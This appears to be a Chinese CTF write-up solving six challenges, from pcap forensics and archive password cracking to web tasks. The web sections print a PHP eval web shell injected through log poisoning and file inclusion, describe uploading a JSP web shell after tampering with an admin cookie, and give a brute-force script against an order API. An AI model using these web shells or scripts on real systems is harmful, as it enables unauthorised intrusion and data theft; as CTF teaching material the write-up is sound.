目錄
Not Only Wireshark
聽說你們喜歡手工爆破
這是道web題?
simple upload
shopping log
biubiubiu
Not Only Wireshark
題目是一個數據包,拿到數據包之后,先用wireshark進行分析,一般思路是提取數據包中的文件,提取到幾個圖片一開始以為是隱寫,官方提示用tshark,使用tshark分析數據包:
tshark -r redhat.pcapng -2 http.request //獲取所有http請求包
image
分析/sqli/example2.php?name=123,這種url的參數為一堆十六進制,將其提取出來:
tshark -r redhat.pcapng -2 http.request | grep '/sqli/example2.php?name=' | awk '{print $9}'
image
處理得到十六進制字符串:
123404B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000
由504B猜測可能是zip壓縮包,504B0304是zip文件頭的重要信息,修復zip頭信息,得到:
504B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000
將其轉換為二進制文件:
xxd -p -r hex.txt bin.zip
直接解壓縮需要密碼,在數據包的一個請求頭中有key=?id=1128%23
密碼為?id=1128%23,解壓得到flag
https://ctf-wiki.github.io/ctf-wiki/misc/archive/zip/
聽說你們喜歡手工爆破
題目的壓縮包里是.iso文件,解壓縮后是一堆的文本文件和一個有密碼的壓縮包文件,很明顯使用txt文件的文件名進行爆破,先用腳本提取出所有的文件名,
```
import os
//得到rar目錄下所有的文件名
def Test2(rootDir):
for lists in os.listdir(rootDir):
path = os.path.join(rootDir, lists)
print "'"+ (path.replace('\\','/') + "'" +',').split('/')[1]
if os.path.isdir(path):
Test2(path)
Test2('rar')
```
然后用ARPR工具家在字典進行爆破,得到密碼是0328fc8b43cb2ddf89ba69fa5e6dbc05。
image
里面是一個word文檔,使用Advanced Office Password Recovery工具爆破得到密碼5693
image
根據文件名搜索到曼徹斯特編碼,里面恰好有一段編碼123654AAA678876303555111AAA77611A321,直接到網上找到腳本:
```
n=0x123654AAA678876303555111AAA77611A321
flag=''
bs='0'+bin(n)[2:]
r=''
def conv(s):
return hex(int(s,2))[2:]
for i in range(0,len(bs),2):
if bs[i:i+2]=='01':
r+='0'
else:
r+='1'
for i in range(0,len(r),8):
tmp=r[i:i+8][::-1]
flag+=conv(tmp[:4])
flag+=conv(tmp[4:])
print flag.upper()
```
得到flag: flag{5EFCF5F507AA5FAD77}
這是道web題?
這道題吐槽一下,不知道是在搞咩。題目下載下來是一個yun cms程序。看到別人的解題思路做的。
先找到一個一句話木馬,根據下面tshark提示,找到相應的數據包。78466550-3fc1-11e8-9828-32001505e920.pcapng,這個數據包中
image
找到example.php文件,文件1912K,使用binwalk分析可以看出是一個jpeg和gif文件,gif文件通過dd命令提取出來。
clipboard.png
my.gif
HTML解碼直接得到falg: flag{S02y4orr5}
simple upload
這道題很簡單,訪問服務器返回Set-Cookie: admin=0,直接修改cookie中的值,admin=1直接上傳jsp一句話,菜刀連接即可
image
shopping log
這道題邏輯很簡單,增加幾個http header信息,直接爆破orderid即可,驗證需要進行md5爆破。直接貼上代碼
```
import requests
import string
import hashlib
url = 'http://120.132.95.234/%s'
headers = {'Host': 'www.tmvb.com', 'Accept-Language': 'ja', 'Referer': 'www.dww.com'}
s = requests.session()
//生成彩虹表
md5_table = {}
target = (256 ** 3) / 2
i = 0
print 'Preparing md5 rainbow table...'
while True:
md5_table[hashlib.md5(str(i)).hexdigest()[:6]] = str(i)
i += 1
if len(md5_table) >= target:
break
if len(md5_table) % 100000 == 0:
print str(len(md5_table)) + ' / ' + str(target)
print str(len(md5_table)) + ' / ' + str(target)
# 9588
for i in range(9500, 10000):
code = ''
while True:
r = s.get(url % '5a560e50e61b552d34480017c7877467info.php', headers=headers)
r.encoding = 'utf-8'
code = r.text.split("=== '")[1].split("'")[0]
if code in md5_table:
break
payload = {'TxtTid': i, 'code': md5_table[code]}
r = s.post(url % 'api.php?action=report', headers=headers, data=payload)
r.encoding = 'utf-8'
print 'TxtTid=%d: %s' % (i, r.text)
if "There's no such order." not in r.text:
break
```
這道題自己一開始寫的爆破md5腳本,速度很慢,ctf中這種題目其實可以使用md5彩虹表的形式,以空間換時間,生成彩虹表大概需要1G,速度大大加快。
biubiubiu
這道題兩種解法,一種是文件包含日志文件拿shell,第二種是ssrf+gopher協議,預期解法是第二種。
寫入一句話:
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/x.php<?php eval($_POST['cmd']);?>
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/index.php?page=/var/log/nginx/access //文件包含
image
http://ae6e715611f04cf0a8e493e03ac3fa78aa0e32335dcf40bc.game.ichunqiu.com/ssrf.php
直接菜刀連接,菜刀無法連接,用蟻劍連接,連接成功,讀取conn.php,連接數據庫,直接讀取flag。
image